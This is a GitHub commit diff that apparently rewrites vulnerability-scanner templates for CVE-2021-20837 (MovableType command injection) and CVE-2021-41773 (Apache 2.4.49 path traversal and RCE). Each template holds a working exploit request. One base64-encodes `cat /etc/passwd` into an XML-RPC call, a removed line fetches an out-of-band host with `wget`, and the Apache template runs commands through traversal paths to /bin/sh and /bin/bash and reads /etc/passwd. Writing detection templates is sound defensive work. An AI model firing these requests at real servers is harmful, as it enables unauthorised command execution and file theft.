-
Notifications
You must be signed in to change notification settings - Fork 272
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
ce4c720
commit 8b2291e
Showing
28 changed files
with
657 additions
and
426 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1 +1 @@ | ||
| 20240818 | ||
| 20240819 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,56 +1,23 @@ | ||
| id: CVE-2021-20837 | ||
|
|
||
| info: | ||
| name: MovableType - Remote Command Injection | ||
| author: dhiyaneshDK,hackergautam | ||
| name: RCE in MovableType | ||
| author: zin_min_phyo | ||
| severity: critical | ||
| description: MovableType 5002 and earlier (Movable Type Advanced 7 Series), Movable Type Advanced 6.8. 2 and earlier (Movable Type Advanced 6 Series), Movable Type Premium 1.46 and earlier, and Movable Type Premium Advanced 1.46 and earlier allow remote attackers to execute arbitrary OS commands via unspecified vectors. | ||
| reference: | ||
| - https://nemesis.sh/posts/movable-type-0day/ | ||
| - https://github.com/ghost-nemesis/cve-2021-20837-poc | ||
| - https://twitter.com/cyber_advising/status/1454051725904580608 | ||
| - https://nvd.nist.gov/vuln/detail/CVE-2021-20837 | ||
| classification: | ||
| cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | ||
| cvss-score: 9.8 | ||
| cve-id: CVE-2021-20837 | ||
| cwe-id: CWE-78 | ||
| tags: cve,cve2021,rce,movable | ||
| reference: https://nemesis.sh/posts/movable-type-0day/ | ||
| tags: MovableType,RCE | ||
|
|
||
| requests: | ||
| - raw: | ||
| - | | ||
| POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Content-Type: text/xml | ||
| - method: POST | ||
| path: | ||
| - "{{BaseURL}}/cgi-bin/mt/mt-xmlrpc.cgi" | ||
|
|
||
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <methodCall> | ||
| <methodName>mt.handler_to_coderef</methodName> | ||
| <params> | ||
| <param> | ||
| <value> | ||
| <base64> | ||
| {{base64("`wget http://{{interactsh-url}}`")}} | ||
| </base64> | ||
| </value> | ||
| </param> | ||
| </params> | ||
| </methodCall> | ||
| body: '<?xml version="1.0"?><methodCall><methodName>mt.handler_to_coderef</methodName><params><param><value><base64>YGNhdCAvZXRjL3Bhc3N3ZGA=</base64></value></param></params></methodCall>' | ||
|
|
||
| matchers-condition: and | ||
| matchers: | ||
| - type: word | ||
| part: interactsh_protocol | ||
| words: | ||
| - "http" | ||
|
|
||
| - type: word | ||
| words: | ||
| - "failed loading package" | ||
|
|
||
| - type: status | ||
| status: | ||
| - 200 | ||
|
|
||
| # Enhanced by mp on 2022/05/05 | ||
|
|
||
| matchers: | ||
| - type: regex | ||
| regex: | ||
| - "root:.*:0:0:" | ||
| part: body |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,16 +1,47 @@ | ||
| id: CVE-2021-41773 | ||
|
|
||
| info: | ||
| name: RCE in Apache HTTP Server 2.4.49 | ||
| author: RafaelCaria | ||
| severity: critical | ||
| tags: cve,cve2021,rce | ||
| name: Apache 2.4.49 - Path Traversal and Remote Code Execution | ||
| author: daffainfo | ||
| severity: high | ||
| description: A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. | ||
| reference: | ||
| - https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782 | ||
| - https://nvd.nist.gov/vuln/detail/CVE-2021-41773 | ||
| - https://twitter.com/ptswarm/status/1445376079548624899 | ||
| - https://twitter.com/h4x0r_dz/status/1445401960371429381 | ||
| - https://github.com/blasty/CVE-2021-41773 | ||
|
|
||
| classification: | ||
| cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | ||
| cvss-score: 7.50 | ||
| cve-id: CVE-2021-41773 | ||
| cwe-id: CWE-22 | ||
| metadata: | ||
| shodan-query: https://www.shodan.io/search?query=apache+version%3A2.4.49 | ||
|
|
||
| requests: | ||
| - method: POST | ||
| path: | ||
| - '{{BaseURL}}/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash' | ||
| body: 'echo;id' | ||
| - raw: | ||
| - | | ||
| GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| - | | ||
| POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Content-Type: application/x-www-form-urlencoded | ||
| echo Content-Type: text/plain; echo; echo COP-37714-1202-EVC | rev | ||
| matchers-condition: or | ||
| matchers: | ||
|
|
||
| - type: regex | ||
| part: body | ||
| name: LFI | ||
| regex: | ||
| - "(uid|gid|groups)=\\d+|bytes from \b(?:[0-9]{1,3}\\.){3}[0-9]{1,3}\b" | ||
| - "root:.*:0:0" | ||
|
|
||
| - type: word | ||
| name: RCE | ||
| words: | ||
| - "CVE-2021-41773-POC" |
Oops, something went wrong.